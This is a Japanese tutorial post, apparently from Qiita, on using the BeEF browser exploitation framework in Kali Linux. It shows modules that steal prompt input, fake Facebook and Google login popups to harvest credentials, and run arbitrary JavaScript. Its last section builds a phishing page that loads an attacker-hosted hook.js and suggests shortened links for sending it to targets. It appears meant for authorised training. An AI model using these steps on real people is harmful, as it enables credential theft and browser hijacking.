3
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【ハッキング入門】BeEFでブラウザをハッキングする

Posted at

免責事項

必ず許可された環境でのみ実行して下さい。

環境

  • Kali Linux 2023
  • beef 0.5.4.0

BeEFとは

BeEFとはBrowser Exploitation Frameworkの略称です。
このツールはブラウザに焦点を当てたツールになっています。
ブラウザからGUI操作でエクスプロイトを実行することが可能です。
ツールは主にRubyJavaScriptで書かれています。

公式サイト

公式GitHubリポジトリ

BeEFインストール

Kali Linuxのリポジトリからダウンロードしました。

$ sudo apt install beef-xss

スクリプトファイルは/usr/bin/beef-xssにあります。

$ which beef-xss
/usr/bin/beef-xss

BeEFの設定ファイルパスは/etc/beef-xss/config.yamlです。

/usr/bin/beef-xss.sh
(省略)
## Define config_file
config_file='/etc/beef-xss/config.yaml'
(省略)
$ ls -l /etc/beef-xss/config.yaml
-rw------- 1 beef-xss beef-xss 1652  5月 13 22:06 /etc/beef-xss/config.yaml

BeEFの起動

beef-xssで起動すると新しいユーザーのパスワードを設定するように求められるので入力します。

再度BeEFを起動する場合は、新しいユーザーなど作らずに起動します。

$ sudo beef-xss
[sudo] kali のパスワード:
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
     Active: active (running) since Sat 2024-05-11 08:41:31 JST; 5s ago
   Main PID: 1938 (ruby)
      Tasks: 3 (limit: 2286)
     Memory: 108.8M (peak: 109.0M)
        CPU: 1.430s
     CGroup: /system.slice/beef-xss.service
             └─1938 ruby /usr/share/beef-xss/beef

パスワードを忘れてしまった場合は、/etc/beef-xss/config.yamlから確認できます。

/etc/beef-xss/config.yaml
(省略)
credentials:
    user: beef
    passwd: password
(省略)
$ sudo beef-xss
[sudo] kali のパスワード:
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:

その後 自動で起動します。
Active: active (running)の表示が出力されたら正常に起動できています。

(省略)
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
     Active: active (running) since Thu 2024-05-09 17:10:15 JST; 5s ago
   Main PID: 2479 (ruby)
      Tasks: 3 (limit: 2286)
     Memory: 102.6M (peak: 103.0M)
        CPU: 1.804s
     CGroup: /system.slice/beef-xss.service
             └─2479 ruby /usr/share/beef-xss/beef

 5月 09 17:10:20 kali beef[2479]: == 24 CreateAutoloader: migrated (0.0008s) ==============…======
 5月 09 17:10:20 kali beef[2479]: == 25 CreateXssraysScan: migrating ======================…======
 5月 09 17:10:20 kali beef[2479]: -- create_table(:xssraysscans)
 5月 09 17:10:20 kali beef[2479]:    -> 0.0008s
 5月 09 17:10:20 kali beef[2479]: == 25 CreateXssraysScan: migrated (0.0008s) =============…======
 5月 09 17:10:20 kali beef[2479]: [17:10:18][*] BeEF is loading. Wait a few seconds...
 5月 09 17:10:20 kali beef[2479]: [17:10:20][!] [AdminUI] Error: Could not minify 'BeEF::Ex…armony
 5月 09 17:10:20 kali beef[2479]: [17:10:20]    |_  [AdminUI] Ensure nodejs is installed an…ATH` !
 5月 09 17:10:20 kali beef[2479]: [17:10:20][!] [AdminUI] Error: Could not minify 'BeEF::Ex…armony
 5月 09 17:10:20 kali beef[2479]: [17:10:20]    |_  [AdminUI] Ensure nodejs is installed an…ATH` !
Hint: Some lines were ellipsized, use -l to show in full.

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...

起動後、ログインページが立ち上がりました。

beef login page.png

Let's ブラウザハッキング!

BeEFにログイン

UsernamebeefPasswordはツール起動時に設定したものを入力してログインします。

beef login.png

ホームページの画面構成

ホームページ

home page.png

Hooked Browsersにフックされたブラウザが追加で表示されていきます。

Hooked Browser.png

ブラウザを開いている時はOnline Browsersに、閉じている時はOffline Browsersにカテゴライズされます。

マウスカーソルをかざすと、フックしたホストの情報が簡易表示されます。

hook browser detail.png

デモページ

Getting Startedタブの概要文から2つのデモページに飛べます。
デモページアドバンスバージョンのデモページがあります。

デモページ

demo page.png

アドバンスバージョン

advance demo.png

Logs

LogsタブではBeEFのログインログや機能の使用ログ、フックしたブラウザの操作ログなどが表示されます。

beef log.png

Zombies

乗っ取ったブラウザを一覧表示します。

zombies.png

Details

Hooked Browsersタブから対象のブラウザをクリックすると、Current Browserタブが開きます。

Detailsタブではホスト、ハードウェア、ブラウザ、ネットワークなどの情報を確認できます。

browser detail.png

Commands

Commandsタブでは、フックしたブラウザにエクスプロイトフィッシングを仕掛けられます。

モジュールの色分けについて

    • コマンド モジュールはターゲットに対して機能するため、ユーザーには見えないようにする必要があります。
  • オレンジ
    • コマンド モジュールはターゲットに対して機能しますが、ユーザーには表示される可能性があります
  • 灰色
    • コマンド モジュールはこのターゲットに対してまだ検証されていません
    • コマンド モジュールはこのターゲットに対して機能しません

コマンドの色.png

また、モジュールの実行結果はModule Results Historyから確認することができます。

get google phishing auth.png

いくつか実装されているモジュールを試してみたので紹介します。

モジュールの実行

モジュールはBrowser,Exploits,Social Engineeringなどにカテゴライズされていて、その中から選んで攻撃を実行できます。

module category.png

Browser

Create Alert Dialog

このモジュールでは対象のブラウザにアラートを表示させることができます。

  • ソースコード

モジュール検索フォームでalertと入力して検索します。
ヒットしたCreate Alert Dialogを選択します。

create alert.png

一番右のAlert text項目にはアラートで表示する文字列を入力します。

実行するには右下のExecuteボタンをクリックします。

一方、ブラウザ側では指定した文字列のアラートが出現しました。

get alert.png

Create Prompt Dialog

このモジュールではプロンプトダイアログをフックされたブラウザに表示でき、入力内容を盗み取ることができます。

  • ソースコード

Promptなどで検索するとCreate Prompt Dialogモジュールがヒットするので選択します。

Prompt Dialog.png

Prompt textにはブラウザに表示したい文字列を入力します。

右下のExecuteボタンをクリックして実行します。

prompt dialog enter password.png

ダイアログが表示されました。
試しに何か入力してOKを押してみます。

get prompt password.png

するとBeEF側で入力された文字列を取得できました。

Redirect

このモジュールではターゲットのWebページを任意のURLへ遷移させることができます。

  • ソースコード

Redirectと検索してRedirect Browserを選択します。

search redirect.png

今回は対象のブラウザをYoutubeに遷移させます。
Redirect URLにYoutubeのURLを入力して右下のExecuteを実行します。

Videotogif(1).gif

任意のページへ遷移させることができました。

Redirect Browser (Rick Roll)

このモジュールでは対象のブラウザにRick Rollという海外のミーム動画を表示させることができます。

  • ソースコード

仕組みはjsで対象の動画を100% x 100%サイズの<iframe>でブラウザに表示させています。

modules/browser/hooked_domain/rickroll/command.js
//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
	$j('body').html('');

	$j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
	$j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'});

        $j('body').html('<iframe width="100%" height="100%" src="//www.youtube.com/embed/DLzxrzFCyOs?autoplay=1" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');
	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Successful");
});

redirectなどで検索をかけて、Redirect Browser (Rickroll)を選択します。
そして右下のExecuteボタンをクリックして実行します。

redirect rickroll.png

残念ながら、動画の再生はできませんでした。

rickroll 再生できない.png

本来はこの動画がブラウザに表示されます。

再生できない原因として、投稿者による埋め込みオプションが無効化されている可能性があります。

Google Help

Rick Rollとは?

海外の釣りリンクとして有名なミームらしいです。
遊び心があって好きです。

リックロール wiki

Host

Get Geolocation (Third-Party)

このモジュールでは、サードパーティーのAPIを利用して対象マシンの地理情報を取得できます。

  • ソースコード

利用するAPIは数種類ありますが、使用したいものが今も提供しているか実際にアクセスして確認する必要もあります。

Get Geo location.png

右下のExecuteをクリックして実行すると、地理情報を取得できました。

get geo result.png

Misc

Raw JavaScript

このモジュールでは、対象のブラウザで任意のJavaScriptコードを実行できるようになります。

  • ソースコード

Raw JavaScriptを検索し選択します。
Javascript Code項目に実行したいコードを書き込みます。
今回はブラウザにアラートを表示するコードを書きました。

search raw js.png

右下のExecuteボタンをクリックして実行します。

アラートが表示されました。

raw js exe.png

Social Engineering

Pretty Theft

このモジュールでは、有名なアプリケーションに偽造したポップアップを表示して、認証情報を取得することができます。

  • ソースコード

Pretty Theftと検索し、クリックして選択します。

Pretty theft.png

Dialog Typeではどのアプリケーションのポップアップを表示するか選択できます。

今回はFacebookを選択しました。

右下のExecuteをクリックして実行すると、ブラウザにはFacebookのセッションタイムアウトしたポップアップが表示され、メールとパスワードの入力を求められました。

facebook popup.png

このポップアップに入力された情報はコントロールパネルから確認できます。

pretty get auth info.png

Google Phishing

このモジュールではGoogleの偽ログイン画面を表示し、認証情報を取得します。

google phishing.png

右下のExecuteクリックして実行すると、デモページにGoogleのログイン画面が表示されます。

ソースコードとアドレスバーを確認すると分かりますが、実際に遷移しているのではなくiframeタグを使用し表示しています。

google phishing page.png

ログイン情報を入力し、Sign inをクリックするとGoogleの正規ログインページにリダイレクトしました。

google login.png

googleログイン画面.png

入力された情報はコントロールパネルから確認することができます。

get google phishing auth.png

今回紹介したモジュールはほんの一部なので自身の環境で色々試してみてください。

モジュールは自作することもできます。
気になる方はこちらから確認してください。

フィッシングサイトでBeEFを利用する

フィッシング用の適当なhtmlページを作成します。

<!DOCTYPE html>
<html>
<body>
	<h1>This is Phishing Page</h1>
</body>
</html>

フィッシングサイトの作成にはSocial-Engineer Toolkit (SET)などのツールを使う方法も有効的です。

下記コードをHTMLの中に追加します。

<script src="http://<IP>:3000/hook.js"></script>

http://<IP>:3000/hook.jsIPにはBeEFを実行しているマシンのIPアドレスを入力してください。

  • 追加後
<!DOCTYPE html>
<html>
<body>
	<h1>This is Phishing Page</h1>
	<script src="http://192.168.178.8:3000/hook.js"></script>
</body>
</html>

Kali側でWebサーバーを起動し、作成したフィッシングページへアクセスできるようにします。

$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

ターゲットにURLのリンクを送る際は、https://shorturl.at/dDKQRなど短縮URLサービスを使っても良いと思います。

ターゲットがBeEFのスクリプトタグを埋め込まれたページを開くとHooked Browsers欄に追加されました。

  • ターゲットマシン

ターゲットで埋め込みブラウザページを開く.png

  • BeEFのコントロールパネル

almalinux hooked.png

このようにフィッシングサイト経由でBeEFを使用することもできます。

3
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?